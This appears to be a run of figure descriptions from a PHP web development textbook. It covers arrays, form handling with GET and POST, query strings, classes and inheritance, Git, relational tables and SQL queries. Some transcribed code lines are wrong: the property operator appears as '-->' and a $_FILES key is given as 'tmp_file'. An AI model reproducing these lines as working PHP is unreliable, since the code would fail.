Screenshot shows order summaries page for a user. Left navigation bar shows
a profile picture of user, and displays his name and email id beneath it.
Various buttons are provided in this bar for "Dashboard", "Messages",
"Tasks", "Orders", "Catalog", etc. An instruction text pointing to this
navigation bar reads, "Move this <div> element into separate file and include
it."

Header element shows two bars that display website name and webpage
name. An instructional text pointing to this element reads, "Move <header>
element into separate file and include it."

Page shows a list of orders on the left under title, "My orders". Text pointing
to this list reads, "Use a loop to output these list items."

A table is displayed on right showing a selected order with value of 520
dollars. Order contains four items, and table displays cover, title, quantity,
price and amount for each of these items. Text pointing to one of the rows of
table reads, "Create function to output single table row.".

Bottom of the table displays subtotal, shipping charges and grand total for
this order. Text pointing to these fields reads, "Do calculations and then
output them."



Screenshot shows a page titled as "Posts". Header bar displays navigation
buttons for main website, along with a logout, profile and favorites buttons.
An instructional text pointing to header bar reads, "Move <header> element
into separate file and include it".

A left bar is divided into two boxes. First box lists continents while second
box lists various countries under heading, "Popular". Text pointing to this
navigation bar reads, "Move left navigation aside into separate file and
include it."

Main page shows summarized version of three posts. Each entry displays a
photo of the place, title, author and review rating, along with a "Read more"
link button. Text pointing to first post reads, "Create function to output single
post row". Another text pointing to hyperlinks of author name and read more
button in second post reads, "Create function to output links.". A third text
pointing to review rating in third post reads, "Create function to output stars."



Figure shows two rectangles placed one below the other, and labeled together
as "$days". The rectangle on top, labeled as "keys" is divided into five
sections, with each section holding a value from 0 to 4. The bottom rectangle,
labeled as "values" is also divided into five sections. Each section holds a day
of week from Monday to Friday, within double quotes. Sections in top
rectangle point to sections in bottom rectangle in the following order:

0: "Mon"

1: "Tue"

2: "Wed"

3: "Thu"

4: "Fri"



The php code is displayed as follows:

$days = array(0 => "Mon", 1 => "Tue", 2 => "Wed", 3 => "Thu", 4=> "Fri");

Here, "0" is labeled as key, while "Mon" is labeled as value.



The php code is displayed as follows:

$forecast = array("Mon" => 40, "Tue" => 47, "Wed" => 52, "Thu" => 40,
"Fri" => 37);

Here, "Mon" is marked as key, and "40" is marked as value.

Keys and values are represented visually as two rectangles one below other
with five sections each. Sections in keys rectangle holds "Mon", "Tue",
"Wed", "Thu", and "Fri". Sections in values rectangle holds "40", "47", "52",
"40", and "37". Each of keys points to a particular value.

Two output statements, and output values are displayed as follows:

echo $forecast["Tue"]; // outputs 47

echo $forecast["Thu"]; // outputs 40



The first array, labeled as "$month" has four elements marked as 0, 1, 2, and
3. These elements are identical, and hold the same keys and values. Keys and
their respective values in each of elements is as follows:

0: Mon

1: Tue

2: Wed

3: Thu

4: Fri

Code"$month [0][3]" points to output as "Thu" in element number 0. Another
code, "$month[3][2]" points to output as "Wed" in element number 3.

Second array, labeled as "$cart" has three elements marked as 0, 1, and 2.
These elements are non-identical, and hold same keys but different values.
Keys and the individual values in each element is as follows:

Element[0]

id: 37

title: Burial at Ornans

quantity: 1

Element[1]

id:345

title:The Death of Marat

quantity:1

Element[2]



id:63

title:Starry Night

quantity:1

The code, "$cart[2]["title"] points to the output as "Starry Night" in element
number 2.



Data flow is illustrated one below other as follows:

HTML (Client) to Browser (Client) to HTTP request to PHP server.

HTML form shows following code:

<form action="processLogin.php" method="GET">

Name <input type="text" name="uname" />

Pass <input type="text" name="pass" />

<input type="submit">

</form>

Browser(client) shows two input fields labeled as "Name" and "Pass", and a
button labeled as "Submit Query".

An HTTP request is displayed as follows:

GET processLogin.php?uname=ricardo&pass=pw01

The uname, "ricardo" and password "pw01" from this string are populated in
input fields of browser, labeled as "Name" and "Pass" respectively.

The $_GET arrays and outputs in PHP server are shown as follows:

// within processLogin.php

echo $_GET["uname"]; // outputs ricardo

echo $_GET["pass"]; // outputs pw01



Data flow is illustrated one below other as follows:

HTML (Client) to Browser (Client) to HTTP request to PHP server.

HTML form shows following code:

<form action="processLogin.php" method="POST">

Name <input type="text" name="uname" />

Pass <input type="text" name="pass" />

<input type="submit">

</form>

Browser(client) shows two input fields labeled as "Name" and "Pass", and a
button labeled as "Submit Query".

A HTTP request is displayed as follows:

(POST processLogin.php)

HTTP POST request body: uname=ricardo&pass=pw01

The uname, "ricardo" and password "pw01" from this string are populated in
the input fields of the browser, labeled as "Name" and "Pass" respectively.

The $_POST arrays and the outputs in the PHP server are shown as follows:

// File processLogin.php

echo $_POST["uname"]; // outputs "ricardo"

echo $_POST["pass"]; // outputs "pw01"



Figure shows two screenshots. First shows a form data with special
characters taken from an input field as follows "Programozas jo!!" where a
and o are accentuated. This data is encoded automatically by the browser in
second window, which displays following URL:

"localhost:81/chapters/09/test-get.php?
name=Programoz%E1s+j%F3%21%21"

In second window, PHP automatically performs URL decoding with
following $_GET statement:

$_GET['name'] value:

"Programozas jo!!"



In first step, a "Request for login.php" is received. PHP file checks whether
any form data has been submitted. If answer is no, then "login.php" page is
displayed to user.

Login page contains a username and password field along with a submit
button. When user enters these details and clicks submit, PHP file again
processes login.php request. It checks if any form data has been submitted. If
answer is yes this time, it performs some type of processing on form data,
such as checking credentials in database, and outputs an error message. Error
message is displayed in login screen as "User and password don't exist."



Illustration shows a "Browser" page with hyperlinks for four different books
displayed one below other as follows:

Fundamentals of Web Development

The Curious Writer

Using MIS

Database Processing

Four separate webpages are displayed for each of these books, labeled as
follows:

fundamentalsWeb.php

curiousWriter.php

databaseProcessing.php

UsingMIS.php



Illustration shows a browser page with hyperlinks for four different books
displayed one below the other as follows:

Fundamentals of Web Development

The Curious Writer

Using MIS

Database Processing

Another webpage labeled as "displayBook.php" is displayed. It shows the
front page of book "Database Processing". A line of code is displayed below
as follows:

<a href="displayBook.php?isbn=0132145375">Database
Processing</a>

In this code, "isbn=0132145375" is labeled as Query string.



The code shows following points:

In this example, our data is going to be in a two-dimensional
associational array of four books.

Each individual book will be accessible by its ISBN.

Each individual field will be accessible by its key name.

The default ISBN will indicate which book to display when the user
hasn't yet selected one.

It also shows two browser windows displaying results.



Code is displayed as follows, along with explanatory texts:

book-data.inc.php

<?php

$books = array(); (A text reads, "In this example, our data is going to be in a
two-dimensional associational array of four books")

$books["0133128911"] = array("title" => "Basics of Web Design", "year" =>
2014,

"pages" => 400, "description" => "Intended for use...");

$books["0132145375"] = array("title" => "Database Processing", "year" =>
2012,

"pages" => 630, "description" => "For undergraduate...");

$books["0321464486"] = array("title" => "Development Economics", "year"
=> 2014,"pages" => 760, "description" => "Gerard Roland's new...");

$books["0205235778"] = array("title" => "The Curious Writer", "year" =>
2014,

"pages" => 704, "description" => "The Curious...");

(Text pointing to the ISBN numbers of the books reads, "Each individual
book will be accessible by its ISBN)

(Another text pointing to keyname of each book reads, "Each individual field
will be accessible by its keyname)

$defaultISBN = "0133128911";

(A text pointing to value of "defaultISBN" reads, "The default ISBN will
indicate which book to display when the user hasn't yet selected one.")



Illustration next displays a screenshot of CRM admin website where default
book is displayed. Coverpage of book is displayed in screen along with its
summary. A list of book links are displayed on left panel.

A text pointing to the website's url reads, "When no querystring, then display
the book information for the default ISBN". Another text pointing to list of
links on left panel reads, "This list of links is generated from the $books
array". A text pointing to one of links in this list reads, "Each link is to the
same page but contains the ISBN as a query string". Finally, a text pointing to
summary information of displayed book reads, "This information is being
pulled from the $books array".

Illustration also displays screenshot of website when user chooses a particular
book. Code for link on which user clicks in previous screen is shown as
follows:

<a href="extended-example.php?isbn=0132145375">Hands-On
Database</a>

In this link, "extended-example.php" is highlighted. A text pointing to this
string reads, "Notice that the link is to the same(current) page."

The isbn number in link, that is 0132145375, points to url of next screen.
Screen displays coverpage of selected book, along with its summary.

Next, code in "extended-example.php" is shown as follows:

<?php

include 'book-data.inc.php';

// has the user selected a book to display?

if (isset($_GET['isbn'])) {

$isbn = $_GET['isbn'];

(A text pointing to the above code block reads "If isset() is false, then the
specified query string value is missing)



// ensure we have this isbn in our data

if (! array_key_exists($isbn, $books)) {

$isbn = $defaultISBN;

}

}

else {

// if non selected, display first in list

$isbn = $defaultISBN;

}

?>

<!DOCTYPE html>

<html>

<head>...</head>

<body>

...

<section class="card list">

<div class="card-content">

<ul>

(A text here reads, "Loop through books array and display each book title as a
link)

<?php



foreach ($books as $key => $value) {

echo '<li>';

echo '<a href="extended-example.php?isbn=' . $key . '">';

echo $value['title'];

echo '</a>';

echo '</li>';

}

?>

(Another text in above code block reads, "Ideally, we would create a function
to do this task, thus reducing the amount of code in our markup")

</ul>

</div>

</section>

<section class="card">

(A text here reads, "Display book details for specified ISBN")

<figure>

<img src="images/<?php echo $isbn; ?>.jpg"

alt="<?php echo $books[$isbn]["title"]; ?>">

</figure>

<div class="card-content">

<p><span>ISBN: </span><?php echo $isbn; ?></p>



<p><span>Year: </span><?php echo $books[$isbn]["year"]; ?></p>

<p><span>Pages: </span><?php echo $books[$isbn]["pages"]; ?></p>

<p><?php echo $books[$isbn]["description"]; ?></p>

</div>

</section>

</body></html>



Figure shows a "HTTP Request Header" which is sent to "Web Server".
Server also displays two server configuration files, labeled as follows:

$_SERVER['SERVER_NAME']

$_SERVER['SERVER_ADDR']

$_SERVER['SERVER_PORT']

…

Code in "HTTP Request Header" is displayed as follows:

POST /page.php http/1.1

Date: Sun, 20 May 2012 23:59:59 GMT

Host: www.mysite.com

User-Agent: Mozilla/4.0

Accept-Encoding: gzip

Connection: Keep-Alive

…

<html> …

Different parts of this code are labeled as shown below:

POST: labeled as "$_SERVER['REQUEST_METHOD']"

http/1.1: labeled as "$_SERVER['SERVER_PROTOCOL']"

Date....: labeled as "$_SERVER['REQUEST_TIME']"

Host: www.mysite.com: labeled as "$_SERVER['HTTP_HOST']"



User-Agent: Mozilla/4.0: labeled as "$_SERVER['HTTP_USER_AGENT']"

Accept-Encoding: gzip: labeled as
"$_SERVER['HTTP_ACCEPT_ENCODING']"

Connection: Keep-Alive: labeled as "$_SERVER['HTTP_CONNECTION']"



Form at HTML client is shown as follows:

<form enctype='multipart/form-data' method='post' action='upFile.php'>

<input type='file' name='file1'>

<input type='submit' value="Submit Query">

</form>

Data flows from HTML client to Browser (client). In browser, file path is
displayed in a "Browse" field as follows:
"C:\Users\ricardo\Pictures\Sample1.png".

A "Submit Query" button is displayed next to browse button. Clicking on
"Submit query transmits the data via HTTP request.

HTTP request is a POST "upFile.php" form. Picture uploaded from browser
is encrypted as a "HTTP POST multipart/form-data". This is transferred to
PHP server as follows:

echo $_FILES["file1"]["name"] // "Sample1.png"

echo $_FILES["file1"]["type"] // "image/png"

echo $_FILES["file1"]["tmp_file"] // "/tmp/phpJ08pVh"

echo $_FILES["file1"]["error"] // 0

echo $_FILES["file1"]["size"] // 1219038



Illustration shows a row of three figures. Figure on left shows a clock which
records date. Middle figure, labeled as "Project", shows files which are
displayed on a webpage. Figure on right shows a database labeled as
"Version control".

Illustration displays three more rows one behind other where, on different
dates, project files are saved in version control software. Date in first row is
May 5. Screen in middle, titled as "index.php" shows a webpage with some
data. Version control row marks an entry which reads, "Created initial
version: created index.php"

In second row, date is marked as May 7. In screen, a pie-chart is displayed
next to data. Version control row marks two entries which read: "Created
chart.png" and "added chart: modified index.php".

Third row shows date as May 8. Screen shows layout altered, with pie chart
and data exchanging places. Version control marks an entry which reads,
"altered layout: modified index.php".



Illustration shows Git platform hosted on a local machine. Pplatform has
three sections in local machine, labeled as "working folder", "staging area or
index", and "local repository". A "remote repository" is hosted on a different
server, and files move between local and remote repositories.

Git workflow is illustrated in 9 steps. Step 1, labeled as "init" shows a
"file.php" in working area. In step 2, this file is added to staging area. Step 3
shows file being commited to local repository. Local repository has various
branches holding different versions of various files. New file is saved in a
master branch as a HEAD(new) file.

In step 4, HEAD file is pushed to theremote repository on a different server.
Remote repository has various branches which holds different files. New file
is added to main branch in this repository.

Step 5 displays various commands through which files can be retrieved from
local and remote repositories. Commands are "status, diff, log, and remote".
Step 6 shows different versions of main file being added in branches of local
repository. A separate branch also shows a number of files under label,
"previous commits". In step 7, user can retrieve latest file via "checkout". A
file labeled as "HEAD (previous)" is moved from master branch of local
repository to working folder in local machine.

Step 8 shows all files being merged in local repository and delivered to
working folder in local machine.

Step 9 shows different activities done at remote repository. User can clone,
fetch or pull data from remote repository. Illustration also shows entire
remote repository being duplicated on two different servers. These duplicated
remote repositories are labeled as "forked remote repositories".



Screen shows the "Edit Art Work details" form in the art store webpage.
Form displays two input fields for "Title" and "Description", two menu fields
for "Genre" and "Subject", and three more input fields for Medium, Year, and
Museum. All fields are populated with data.

Two texts pointing to Genre and Subject menu fields read as follows:

"Create arrays for Genre and Subject"

"Write function to generate option elements from a passed array and use it to
populate these two lists"

Another text pointing to entire form reads, "Modify form so that it uses POST
method and specified art-process.php as the action."

Submit button points to another screen that displays passed form data.
Output, titled as "Art Work Saved", displays the values entered for all fields
in form one below the other.



Screen in background shows homepage of "Share your travels" website,
where 16 images are displayed in 4 rows. A mouse-hover on one of the
images shows image caption as "British Museum". Text pointing to this
image reads, "Each of these images will be a link to "detail.php" with the id
of the image passed as query string." Another text pointing to row of images
reads, "Write a loop that displays these images and links using data within the
$ (dollar) images array."

Webpage also displays a bar above images, listing names of various
countries. Text pointing to this bar reads, "Write a loop to display countries
using an array. Each of these is a link to "list.php" with country as a
querystring."

Screen in foreground shows a single image, captioned as "Dusk on
Santorini". Image details and various links are displayed in separate forms on
right panel. Text pointing to these forms reads, "Display the appropriate data
from the $ (dollar) images array."

Left panel of this screen shows a list of continents and a list of countries.
Text pointing to these lists reads, "Write loops to display these lists. Also use
the appropriate PHP sort functions."



Screen in background shows "CRM Admin page" where a table labeled as
"Customers" is displayed on left half. Table has data displayed in four
columns as follows: Name, University, City, and Sales. Text above this table
reads, "Read the text file customers.txt into an array and then display within
this table.". Another text pointing to one of the customer names in table
reads, "The customer name will be a link to the same page but with the
customer id as a query string parameter."

Right half of this screen is blank. Text pointing to this blank space reads,
"Don't display detail cards when there is no query string present."

In the screen on foreground, a customer name is selected. Right half of screen
displays two forms, labeled as "Customer Details" and "Order Details". Text
pointing to the customer details form reads, "Display the name, university,
address, city, and country of the selected customer." Another text pointing to
the order details form reads, "Read the text file orders.txt into an array, and
then display orders for specified customer (the second field in the order file is
the customer id)."

A small bar graph is displayed in "sales" cell for every customer. A text
pointing to this graph reads, "Use the sparkline.js library to display the sales
data (the last field in the customer file)."

Another screen in background shows a customer name selected. But order
details form for this customer is empty. Text pointing to this form reads,
"Some customers have no order."



Illustration shows a book with a blank cover, which is defined as the "Book"
class. Text next to the book reads, "Defines properties such as: title, author,
and number of pages".

Illustration also shows three different books which are the objects or
instances of book class. Text next to these books reads, "Each instance has its
own title, author, and number of pages property values".



Figure shows a class and its two objects. Class name is "Artist". Its properties
and data types are displayed as follows:

+ firstName: String

+ lastName: String

+ birthDate: Date

+ birthCity: String

+ deathDate: String

In this list, + is identified as "Accessibility (+ indicates public)". Left side
names are "Property name" and right side names are "Data types".

First object's name (i.e. variable name) is "$picasso: Artist". Its properties and
values are shown as follows:

+ firstName: Pablo

+ lastName: Picasso

+ birthDate: October 25, 1881

+ birthCity: Malaga

+ deathDate: April 8, 1973

Second object's name is "$dali : Artist". Its properties and values are shown
as follows:

+ firstName: Salvador

+ lastName: Dali

+ birthDate: May 11, 1904



+ birthCity: Figueres

+ deathDate: January 23, 1989



Figure shows a class, named as "Artist", displayed in four different levels of
UML. First two levels show only property details, as follows:

firstName

lastName

birthDate

birthCity

deathDate

+firstName

+lastName

+birthDate

+birthCity

+deathDate

Next two levels show data type for each property, as follows:

firstName: String

lastName: String

birthDate: Date

birthCity: String

deathDate: Date

+ firstName: String

+ lastName: String



+ birthDate: Date

+ birthCity: String

+ deathDate: Date



Figure shows a "Desktop application Z" sending three requests to desktop
memory. Desktop memory holds object, "Application Z process", which is
utilized for all three requests.

Second part of illustration shows "Browser application Z" sending three
requests to the server memory. For first request A, an object named "Request
A process" is created in the server memory. Similary, for request B, an
object, "Request B process" is created, and for request C, an object "Request
C process" is created.



Screen shows an editor where user has typed the following code:

echo "Today is" .dat

A list of matching function names is displayed in a box next to ".dat" as
follows:

date ($format, $timestamp) -date.php

date_add($object, $interval)-date.php

date_create(($time,$object)-date.php

...

First function in this list is highlighted. Another box gives the description as
follows:

"date(string $format, int $timestamp)

Format a local time/date

Parameters:

string $format

The format...."



Illustration shows an eclipse editor where a file,
"DemonstrateTemplates.php" is open. First line is "<? Php". In the second
line, user enters "cla". Editor auto suggests a list of two classes labeled as
"class-class statement" and "class_w_comment - class with commens".
Second class is highlighted, and a window gives a preview of the class.

On selecting this class, class structure is displayed in editor, along with
comments, as follows:

/**

*CLASS COMMENT

* started: Jun 27, 2016 by rhoar

*/

class class_name {

function function_name(){

;

}

}



The main window in eclipse editor shows the following code:

<?php

//From Listing 13.1

class Artist {

public $firstName;

public $lastName;

public $birthDate;

public $birthCity;

public $deathDate;

}

//Listing 13.2

$picasso = new Artist();

$dali = new Artist();

$picasso -->firstName = "Pablo";

$picasso -->lastName = "Picasso";

$picasso -->birthCity = "Malaga";

$picasso -->birthDate= "October 25 1881";

$picasso -->deathDate = "April 8 1973";

Editor shows three views above the main window. First one, "Outline" view
lists the properties in the class as follows:



Artist:

* $firstName

* $lastName

*birthDate

*birthCity

*deathDate

-$picasso

-$dali

Navigator view displays the listings under each chapter as follows:

-Chapter08

-Chapter09

-Chapter10

*Listing10.01.php

*Listing10.02.php

*Listing10.03.php

*Listing10.04.php

*Listing10.05.php

Project outline view shows the following list of Classes:

Classes

-Art



-Artist:

* $firstName

* $lastName

*birthDate

*birthCity

*deathDate

-ArtistTableGateway



Text Compare mode is selected in eclipse. File on the left is labeled as
"Local: Listing 10.02.php".

Code is displayed as follows:

//From Listing 13.1

class Artist {

public $firstName;

public $lastName;

public $birthDate;

public $birthCity;

public $deathDate;

}

//Listing 13.2

$picasso = new Artist();

$picasso -->firstName = "Pablo";

$picasso -->lastName = "Picasso";

$picasso -->birthCity = "Malaga";

$picasso -->birthDate= "October 25 1881";

$picasso -->deathDate = "April 8 1973";

File on the right is labeled as "Listing 10.02.php 40f2b40 (rhoar)".

Code in this file is displayed as follows:



//From Listing 10.1

class Artist {

public $firstName;

public $lastName;

public $birthDate;

public $birthCity;

public $deathDate;

}

//Listing 10.2

$picasso = new Artist();

$dali = new Artist();

$picasso -->firstName = "Pablo";

$picasso -->lastName = "Picasso";

$picasso -->birthCity = "Malaga";

$picasso -->birthDate= "October 25 1881";

$picasso -->deathDate = "April 8 1973";



Two versions of class are shown as follows:

Artist

+ firstName: String

+ lastName: String

+ birthDate: Date

+ birthCity: String

+ deathDate: Date

Artist(string,string,string,string,string) + outputAsTable () : String

Artist

+ firstName: String

+ lastName: String

+ birthDate: Date

+ birthCity: String

+ deathDate: Date

__construct(string,string,string,string,string) + outputAsTable () : String



Class and its properties are shown as follows:

class Painting {

public $title;

private $profit;

public function doThis()

{

$a = $this->profit;

$b = $this->title;

$c = $this->doSecretThat();

...

}

private function doSecretThat()

{

$a = $this->profit;

$b = $this->title;

...

}

}

Within same class, arrows are drawn between following members to indicate
access and visibility:



public $title; -- > $b = $this->title;

private $profit; --> $a = $this->profit;

private function doSecretThat() -->$c = $this->doSecretThat();

Illustration also shows a few methods of class from some php page or within
some other class. Arrows are drawn from each of these methods/variables to
a class member from class "Painting", along with an "allowed" or "not
allowed" text that depicts visibility.

$p1 = new Painting();

$x = $p1->title; (allowed) to access "public $title;"

$y = $p1->profit; (not allowed) to access "private $profit;"

$p1->doThis(); (allowed) to access "public function doThis()"

$p1->doSecretThat();(not allowed) to access "private function
doSecretThat()"



Illustration shows a class and two objects along with their properties. First
property of class is underlined, indicating that it is a static class. First
properties in two objects are also underlined. Arrows are drawn from these
properties in objects to static property in class to indicate reference.
Illustration also shows static class referenced without an instance.

Class and its properties are shown as follows:

+ artistCount: int (this line is underlined)

+ firstName: String

+ lastName: String

+ birthDate: Date

+ birthCity: String

+ deathDate: Date

Artist(string,string,string,string,string)+ outputAtTable() : String

Reference without an instance, and two objects are shown as follows:

1. Artist::$artistCount (an arrow is drawn from this line to the static
property in the Class)

2. $picasso : Artist

+ self::$artistCount (an arrow is drawn from this line)

+ firstName: Pablo

+ lastName: Picasso

+ birthDate: October 25, 1881

+ birthCity: Malaga



+ deathDate: April 8, 1973

3. $dali : Artist

+ self::$artistCount (an arrow is drawn from this line)

+ firstName: Salvador

+ lastName: Dali

+ birthDate: May 11, 1904

+ birthCity: Figueres

+ deathDate: January 23, 1989



First Class diagram with get and set methods is as follows:

Artist

– artistCount: int

– firstName: String

– lastName: String

– birthDate: Date

– deathDate: Date

– birthCity: String

Artist(string,string,string,string,string)

+ outputAsTable () : String

+ getFirstName() : String

+ getLastName() : String

+ getBirthCity() : String

+ getDeathCity() : String

+ getBirthDate() : Date

+ getDeathDate() : Date

+ getEarliestAllowedDate() : Date

+ getArtistCount(): int

+ setLastName($lastname) : void



+ setFirstName($firstname) : void

+ setBirthCity($birthCity) : void

+ setBirthDate($deathdate) : void

+ setDeathDate($deathdate) : void

Second Class diagram which excludes the get and set methods is as follows:

Artist

– artistCount: Date

– firstName: String

– lastName: String

– birthDate: Date

– deathDate: Date

– birthCity: String

Artist(string,string,string,string,string)

+ outputAsTable () : String

+ getEarliestAllowedDate() : Date



Page title reads "Generate getters and setters". The getter and setter methods
are displayed in page as follows:

artistCount

-getArtistCount()

-setArtistCount($artistCount)

firstName

-getFirstName()

-setFirstName($firstName)

lastName

-getLastName()

-setLastName($lastName)

birthDate

-getBirthDate()

-setBirthDate($birthDate)

birthCity

-getBirthCity()

-setBirthCity($birthCity)

deathDate

-getDeathDate()

-setDeathDate($deathDate)



Insertion point menu displays selection as "Last Member". "Generate element
comments" and "Fluent interface" checkboxes are checked.



Diagram shows two classes, "Art" and "Painting" in two boxes one below
other, with an arrow from "Painting" box pointing to "Art" box.

Diagram also shows two bigger boxes labeled "Art" and "Painting", one
below other with an arrow between them indicating inheritance. Both boxes
show individual properties in respective classes as follows:

Art

– name

– artist

– createdYear

+ __toString()

+ getName()

+ setName()

etc.

Painting

--medium

+getMedium()

+setMedium()



Figure shows a super class as follows:

Art

– name

– original

+ getName()

+ setName()

# getOriginal()

# setOriginal()

– init()

A subclass, "Painting" is displayed below, with an arrow pointing to
superclass.

Following code shows inheritance, with comments specifying which methods
are inherited and which are not:

class Painting extends Art {

…

private function foo() {

…

// these are allowed

$w = parent::getName();

$x = parent::getOriginal();



// this is not allowed

$y = parent::init();

}

}

Illustration also specifies which methods are available and which are
restricted to other classes, in following code:

// in some page or other class

$p = new Painting();

$a = new Art();

// neither of these references are allowed

$w = $p->getOriginal();

$y = $a->getOriginal();



Illustration shows a class named "Art" which inherits from another class
named "Artist". Art class and its properties are shown as follows:

Art:

-name

- artist

-yearCreated

Illustration shows two subclasses named "Painting" and "Sculpture" which
inherit from "Art". Subclasses and their properties are as follows:

Painting:

-medium

Sculpture:

-weight

Class "Painting" has its own subclass, named "ArtPrint" which is depicted
along with its property as follows:

ArtPrint:

-printNumber



Class diagram shows a super class named "Art". Three subclasses inherit
from Art, and are defined as follows:

Painting

Movie

Song

Class diagram shows two interfaces which inherit from "Movie" class. For
first interface, labeled as "Viewable", movie class extends from "Painting"
class, so a dotted box is drawn connecting painting and movie. For second
interface, labeled as "Playable", movie class extends from song class, so a
dotted box is drawn connecting movie and song.

Properties of two interfaces are shown as follows:

<<interface>>

Viewable

+ getSize()

+ getPNG()

<<interface>>

Playable

+ getLength()

+ getMedia()



Two web pages display an image along with some details. First image is
titled as "Brandenburg Gate, Berlin". Second image is titled as "British
Museum". Both web pages share a similar design, which is highlighted by
arrows.

Image title is displayed on top of image. Two small forms are displayed on
right side of images. First form displays data about "Country" and "City".
Second form displays information about user.

Text pointing to similar design between two images reads, "Content (data)
varies but the markup (design) stays the same."



Illustration shows 8 steps of process. In step 1, a browser sends a request for
PHP resource with query string parameters to a web server. Request is shown
as "DisplayImage.php?id=19". In step 2, requested PHP page is executed in
PHP of web server which constructs SQL query. Next step shows query,
"Select * from post where id=19" passed to DBMS via API. Database API
sends this query to DBMS. This is marked as step 4.

Step 5 shows DBMS retrieve data from database based on query. It then
returns result set to API. The data is updated in PHP page and output is sent
to browser, which is step 7. In step 8, webpage is displayed in browser with
relevant data. Browser shows an image of "British Museum", along with
details.



Table displays content in 5 rows and 4 columns as follows:

ArtworkID: Title: Artist: YearOfWork (column heading)

345: The Death of Marat: David: 1793

400: The School of Athens: Raphael: 1510

408: Bacchus and Ariadne: Titian: 1520

425: Girl with Pearl Earring: Vermeer: 1665

438: Starry Night: Van Gogh: 1889

Rows are labeled as "Records". Columns are labeled as "Fields". Column
names are labeled as "Field names". First column name, "ArtworkID" is
labeled as "Primary key field".



Figure shows three table boxes which display table name on top, followed by
field names. First box shows data type of each field name as follows:

ArtWorks(table name)

ArtWorkId: INT

Title: VARCHAR

Artist: VARCHAR

YearOfWork: INT

Second box identifies that first field name is a primary key, by displaying
"PK" next to "ArtWorkId", and shows rest of field names below it.

In third box, first field name, "ArtWorkId" is underlined.



Two tables are shown as follows:

(ArtWork Table)

ArtworkID: Title: ArtistID: YearOfWork (column heading)

345: The Death of Marat: 15: 1793

400: The School of Athens: 37: 1510

408: Bacchus and Ariadne: 25: 1520

425: Girl with a Pearl Earring: 22: 1665

438: Starry Night: 43: 1889

(Artist Table)

ArtistID: Artist

15: David

22: Vermeer

25: Titian

37: Raphael

43: Van Gogh

The "ArtistID" field name in first table is labeled as "Foreign key". Same
field name in second table is labeled as "Primary key". Arrows are drawn
from two values in this column, "22" and "43", from first table to second.



Table names and field names are shown in two boxes as follows:

ArtWorks(Table name)

ArtWorkId(PK)

Title

ArtistId

YearOfWork

Artists(Table name)

ArtistId(PK)

Name

Two table boxes are connected in three ways of one-to-many relationship. In
first illustration, a line is drawn connecting two tables, with "infinity"
represented near ArtWorks and "1" represented near Artists.

In second illustration, a line is drawn between the two tables, with "N"
represented near ArtWorks and "1" represented near Artists.

In the third illustration, the line connecting the two tables forks into three
lines near the "ArtWorks" table.



First illustration shows two table boxes that display only table names as
"Books" and "Authors". A line is drawn connecting the two boxes, with
"infinity" represented near both the boxes.

In second illustration, an intermediate table is shown between two tables.
Table names and field names of three tables are shown as follows:

Books(Table name)

ID (PK)

Title

CopyrightYear

BookAuthors(Table name)

BookID(Foriegn key)

AuthorID(Foriegn key)

Authors(Table name)

ID(PK)

Name

A line is drawn from books to "BookAuthors", with "1" represented near
books and "infinity" represented near "BookAuthors". Another line is drawn
from "BookAuthors" to authors, with "infinity" represented near
"BookAuthors" and "1" represented near authors.



Figure shows various businesses and individuals accessing different
enterprise database solutions. It shows a "Corporate IT" headquarters which
houses three database servers. One of them is a "BizTalk" integration server
which is an SQL server. Second is "Groupware" and file servers which run on
LDAP. Third is a Financial and order management system which runs on
Oracle. These three servers are protected by firewalls.

Corporate IT headquarters also links to a web data centre, which houses a
web data server running MySQL, and a "Public web server".

Illustration shows a store which accesses a "Point-of-sale" system that runs
MySQL. A factory is illustrated accessing a "Manufacturing system" that
runs DB2. Both these database servers are connected to the BizTalk
integration server in Corporate IT Headquarters.

A bank is depicted connecting to Cloud storage which runs "CouchDB", and
also to financial and order management systems inside corporate IT
headquarters.

Finally, an individual salesman is shown with iPad corporate app which runs
SQLite.



Illustration shows a web server which receives a request for PHP resource. In
step 2, requested PHP page is executed which constructs SQL query. In step
3, SQL query is passed to SQLite API.

Database API interacts with SQLite database files in web server and retrieves
data directly. This is labeled as Step 4. Retrieved data is added to SQLite
PHP extenstion, and in final step, output from PHP execution is sent back to
requesting source.



Illustration shows four sql statements, with associated texts as follows:

1) SELECT ISBN10, Title FROM Books

Text pointing to SELECT reads "SQL keyword that indicates the type of
query (in this case a query to retrieve data)".

ISBN10 and Title are marked as "fields to retrieve".

FROM is marked as "SQL keyword for specifying the tables".

Books is marked as "Table to retrieve from".

2) SELECT * FROM Books

* is marked as "Wildcard to select all fields".

A note is displayed next to query as, "While the wildcard is convenient,
especially when testing, for production code it is usually avoided; instead of
selecting every field, you should select just the fields you need."

3) select ISbN10, title FROM BOOKS ORDER BY title

ORDER BY is marked as SQL keyword to indicate sort order.

"title" is marked as "Field to sort on".

A note is displayed next to query as, "SQL doesn't care if a command is on a
single line or multiple lines, nor does it care about the case of keywords or
table and field names. Line breaks and keyword capitalization are often used
to aid in readability."

4) SELECT ISBN10, Title FROM Books ORDER BY CopyrightYear DESC,
Title ASC

DESC and ASC are marked as "Keywords indicating that sorting should be in
descending or ascending order (which is the default)".



"CopyrightYear DESC, Title ASC" is marked as "Several sort orders can be
specified: in this case the data is sorted first on year, then on title".



Illustration shows two select queries as follows:

SELECT isbn10, title FROM books

WHERE copyrightYear > 2010

SELECT isbn10, title FROM books

WHERE category = 'Math' AND copyrightYear = 2014

Text pointing to the "WHERE" clause of first query reads, "SQL keyword
that indicates to return only those records whose data matches the criteria
expression".

Another text pointing to "copyrightYear >2010" in first query reads,
"Expressions take form: field operator value".

Third text which points to "cateogory = 'Math' in second query reads,
"Comparisons with strings require string literals (single or double quote)".



Illustration shows two SQL SELECT statements. First retrieves data from
two tables which are shown in table boxes as follows:

ArtWorks(table name)

ArtWorkID(PK)

Title

ArtistID

YearOfWork

Artists(table name)

ArtistID(PK)

Name

A line connects the two tables, with 1 represented near Artists table and
"infinity" represented near ArtWorks table.

SQL query is shown as follows:

"SELECT Artists.ArtistID, Title, YearOfWork, Name FROM Artists

INNER JOIN ArtWorks ON Artists.ArtistID = ArtWorks.ArtistID"

Text pointing to "Artists.ArtistID" reads, "Because the field name ArtistID is
ambiguous, need to preface it with table name".

"Artists" and "ArtWorks" are marked as Table 1 and Table 2 respectively.

INNER JOIN is marked as "SQL keywords indicate the type of join".

Artists.ArtistID is marked as "Primary key in Table 1".

ArtWorks.ArtistID is marked as "Foreign key in Table 2".



Second query retrieves data from three tables which are shown in three table
boxes as follows:

Books (table name)

BookID (Primary key)

Title

CopyrightYear

BookAuthors(table name)

